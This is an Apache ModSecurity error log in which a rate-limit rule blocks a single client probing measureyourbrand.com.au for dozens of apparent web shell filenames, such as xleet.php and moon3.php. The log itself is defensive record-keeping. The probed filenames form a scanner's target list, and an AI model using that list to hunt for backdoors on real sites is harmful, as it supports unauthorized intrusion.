[Sat Feb 28 09:41:23.234607 2026] [autoindex:error] [pid 39292:tid 39301] [client 194.146.12.7:51238] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 10:45:15.268972 2026] [:error] [pid 39292:tid 39308] [client 158.158.96.194:46529] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaJWu6IAO5fN7BxyqcGc5QAAAM4"]
[Sat Feb 28 10:45:16.340740 2026] [:error] [pid 39292:tid 39297] [client 158.158.96.194:9943] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaJWvKIAO5fN7BxyqcGc5wAAAMM"]
[Sat Feb 28 10:45:17.115580 2026] [:error] [pid 11791:tid 11807] [client 158.158.96.194:51285] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaJWvWuX5e1Q32gqxH3MRQAAAQ4"]
[Sat Feb 28 10:45:18.574674 2026] [:error] [pid 39183:tid 39202] [client 158.158.96.194:60730] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dom.php"] [unique_id "aaJWvhCf4HvhVePw3LbPBwAAAAo"]
[Sat Feb 28 10:45:19.491622 2026] [:error] [pid 11791:tid 11794] [client 158.158.96.194:50992] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaJWv2uX5e1Q32gqxH3MUAAAAQE"]
[Sat Feb 28 10:45:21.232045 2026] [:error] [pid 52460:tid 52463] [client 158.158.96.194:51322] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaJWwbLWOogAgHGh62SfkQAAAYA"]
[Sat Feb 28 10:45:22.117458 2026] [:error] [pid 11791:tid 11805] [client 158.158.96.194:38182] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaJWwmuX5e1Q32gqxH3MXwAAAQw"]
[Sat Feb 28 10:45:23.732338 2026] [:error] [pid 39185:tid 39256] [client 158.158.96.194:47019] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aaJWwxVE-FfM89u7BQZJuAAAAIo"]
[Sat Feb 28 10:45:24.904468 2026] [:error] [pid 39292:tid 39311] [client 158.158.96.194:55309] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon3.php"] [unique_id "aaJWxKIAO5fN7BxyqcGdKAAAANE"]
[Sat Feb 28 10:45:26.022867 2026] [:error] [pid 11791:tid 11816] [client 158.158.96.194:9964] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon3.php"] [unique_id "aaJWxmuX5e1Q32gqxH3MbAAAARc"]
[Sat Feb 28 10:45:27.133333 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:63899] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon3.php"] [unique_id "aaJWxxVE-FfM89u7BQZJywAAAI4"]
[Sat Feb 28 10:45:30.395903 2026] [:error] [pid 39184:tid 39225] [client 158.158.96.194:60709] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon3.php"] [unique_id "aaJWyltZF9Zd_U7easC6rQAAAEY"]
[Sat Feb 28 10:45:32.261877 2026] [:error] [pid 39185:tid 39265] [client 158.158.96.194:56808] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaJWzBVE-FfM89u7BQZJ5QAAAJM"]
[Sat Feb 28 10:45:33.797078 2026] [:error] [pid 11791:tid 11804] [client 158.158.96.194:38145] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaJWzWuX5e1Q32gqxH3McwAAAQs"]
[Sat Feb 28 10:45:37.129662 2026] [:error] [pid 11791:tid 11812] [client 158.158.96.194:46171] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaJW0WuX5e1Q32gqxH3MfwAAARM"]
[Sat Feb 28 10:45:38.597205 2026] [:error] [pid 39185:tid 39251] [client 158.158.96.194:56328] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thui.php"] [unique_id "aaJW0hVE-FfM89u7BQZKMwAAAIU"]
[Sat Feb 28 10:45:40.055268 2026] [:error] [pid 39292:tid 39316] [client 158.158.96.194:55501] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaJW1KIAO5fN7BxyqcGdPgAAANY"]
[Sat Feb 28 10:45:40.888407 2026] [:error] [pid 39292:tid 39298] [client 158.158.96.194:5244] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaJW1KIAO5fN7BxyqcGdQQAAAMQ"]
[Sat Feb 28 10:45:42.505893 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:45800] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaJW1muX5e1Q32gqxH3MkgAAAQI"]
[Sat Feb 28 10:45:44.444453 2026] [:error] [pid 11791:tid 11816] [client 158.158.96.194:12453] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ebahvhhh.php"] [unique_id "aaJW2GuX5e1Q32gqxH3MmwAAARc"]
[Sat Feb 28 10:45:46.095739 2026] [:error] [pid 22194:tid 22197] [client 158.158.96.194:63877] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snq.php"] [unique_id "aaJW2n6mbajs3bzQGysVKAAAAUE"]
[Sat Feb 28 10:45:46.797512 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:43488] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snq.php"] [unique_id "aaJW2hVE-FfM89u7BQZKbQAAAII"]
[Sat Feb 28 10:45:47.519304 2026] [:error] [pid 39292:tid 39298] [client 158.158.96.194:63873] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snq.php"] [unique_id "aaJW26IAO5fN7BxyqcGdSwAAAMQ"]
[Sat Feb 28 10:45:48.242827 2026] [:error] [pid 39185:tid 39261] [client 158.158.96.194:38188] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/snq.php"] [unique_id "aaJW3BVE-FfM89u7BQZKfAAAAI8"]
[Sat Feb 28 10:45:49.134331 2026] [:error] [pid 11791:tid 11807] [client 158.158.96.194:55495] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mcs.php"] [unique_id "aaJW3WuX5e1Q32gqxH3MoQAAAQ4"]
[Sat Feb 28 10:45:50.371818 2026] [:error] [pid 39185:tid 39258] [client 158.158.96.194:56260] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mcs.php"] [unique_id "aaJW3hVE-FfM89u7BQZK1wAAAIw"]
[Sat Feb 28 10:45:52.284089 2026] [:error] [pid 39185:tid 39250] [client 158.158.96.194:45771] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mcs.php"] [unique_id "aaJW4BVE-FfM89u7BQZLIAAAAIQ"]
[Sat Feb 28 10:45:53.898757 2026] [:error] [pid 39185:tid 39270] [client 158.158.96.194:20864] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mcs.php"] [unique_id "aaJW4RVE-FfM89u7BQZLLgAAAJg"]
[Sat Feb 28 10:45:56.221098 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:48765] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aaJW5GuX5e1Q32gqxH3MrgAAAQI"]
[Sat Feb 28 10:45:57.271565 2026] [:error] [pid 39185:tid 39246] [client 158.158.96.194:56325] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aaJW5RVE-FfM89u7BQZLPAAAAIA"]
[Sat Feb 28 10:45:58.182027 2026] [:error] [pid 39185:tid 39265] [client 158.158.96.194:5236] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aaJW5hVE-FfM89u7BQZLRwAAAJM"]
[Sat Feb 28 10:46:00.039948 2026] [:error] [pid 52460:tid 52484] [client 158.158.96.194:20873] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aaJW6LLWOogAgHGh62SgUgAAAZU"]
[Sat Feb 28 10:46:01.345018 2026] [:error] [pid 39184:tid 39219] [client 158.158.96.194:5212] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "aaJW6VtZF9Zd_U7easC60AAAAEA"]
[Sat Feb 28 10:46:02.129905 2026] [:error] [pid 39292:tid 39302] [client 158.158.96.194:60866] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "aaJW6qIAO5fN7BxyqcGdXQAAAMg"]
[Sat Feb 28 10:46:03.250509 2026] [:error] [pid 11791:tid 11816] [client 158.158.96.194:38150] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "aaJW62uX5e1Q32gqxH3MtAAAARc"]
[Sat Feb 28 10:46:04.643630 2026] [:error] [pid 39185:tid 39269] [client 158.158.96.194:65260] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "aaJW7BVE-FfM89u7BQZLXgAAAJc"]
[Sat Feb 28 10:46:05.352004 2026] [:error] [pid 39292:tid 39297] [client 158.158.96.194:44648] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaJW7aIAO5fN7BxyqcGdbAAAAMM"]
[Sat Feb 28 10:46:06.210543 2026] [:error] [pid 22194:tid 22211] [client 158.158.96.194:25883] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaJW7n6mbajs3bzQGysVRAAAAU8"]
[Sat Feb 28 10:46:07.056345 2026] [:error] [pid 39185:tid 39263] [client 158.158.96.194:65232] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaJW7xVE-FfM89u7BQZLZQAAAJE"]
[Sat Feb 28 10:46:07.828510 2026] [:error] [pid 22194:tid 22197] [client 158.158.96.194:20895] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaJW736mbajs3bzQGysVRwAAAUE"]
[Sat Feb 28 10:46:08.621197 2026] [:error] [pid 39183:tid 39200] [client 158.158.96.194:12450] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaJW8BCf4HvhVePw3LbPQQAAAAg"]
[Sat Feb 28 10:46:10.077694 2026] [:error] [pid 11791:tid 11805] [client 158.158.96.194:61222] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaJW8muX5e1Q32gqxH3M0QAAAQw"]
[Sat Feb 28 10:46:11.362216 2026] [:error] [pid 52460:tid 52473] [client 158.158.96.194:38152] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaJW87LWOogAgHGh62SgcQAAAYo"]
[Sat Feb 28 10:46:12.048541 2026] [:error] [pid 39185:tid 39255] [client 158.158.96.194:20867] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/wp-blog.php"] [unique_id "aaJW9BVE-FfM89u7BQZLdgAAAIk"]
[Sat Feb 28 10:46:13.090590 2026] [:error] [pid 11791:tid 11802] [client 158.158.96.194:25885] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aaJW9WuX5e1Q32gqxH3M1gAAAQk"]
[Sat Feb 28 10:46:23.860080 2026] [:error] [pid 11791:tid 11813] [client 158.158.96.194:44656] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaJW_2uX5e1Q32gqxH3NEQAAARQ"]
[Sat Feb 28 10:46:25.041352 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:44632] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaJXAaIAO5fN7BxyqcGdoAAAAM0"]
[Sat Feb 28 10:46:26.215743 2026] [:error] [pid 52460:tid 52468] [client 158.158.96.194:61196] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaJXArLWOogAgHGh62SgtAAAAYU"]
[Sat Feb 28 10:46:27.851817 2026] [:error] [pid 52460:tid 52469] [client 158.158.96.194:12446] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aaJXA7LWOogAgHGh62SgwQAAAYY"]
[Sat Feb 28 10:46:28.544485 2026] [:error] [pid 11791:tid 11812] [client 158.158.96.194:12449] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaJXBGuX5e1Q32gqxH3NJgAAARM"]
[Sat Feb 28 10:46:29.427540 2026] [:error] [pid 39185:tid 39256] [client 158.158.96.194:48741] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaJXBRVE-FfM89u7BQZLuwAAAIo"]
[Sat Feb 28 10:46:30.232125 2026] [:error] [pid 11791:tid 11796] [client 158.158.96.194:55848] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaJXBmuX5e1Q32gqxH3NKQAAAQM"]
[Sat Feb 28 10:46:31.433383 2026] [:error] [pid 39185:tid 39258] [client 158.158.96.194:25912] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ae.php"] [unique_id "aaJXBxVE-FfM89u7BQZLxwAAAIw"]
[Sat Feb 28 10:46:33.465566 2026] [:error] [pid 39185:tid 39258] [client 158.158.96.194:41611] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaJXCRVE-FfM89u7BQZL1gAAAIw"]
[Sat Feb 28 10:46:34.247812 2026] [:error] [pid 39292:tid 39300] [client 158.158.96.194:25893] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaJXCqIAO5fN7BxyqcGdtQAAAMY"]
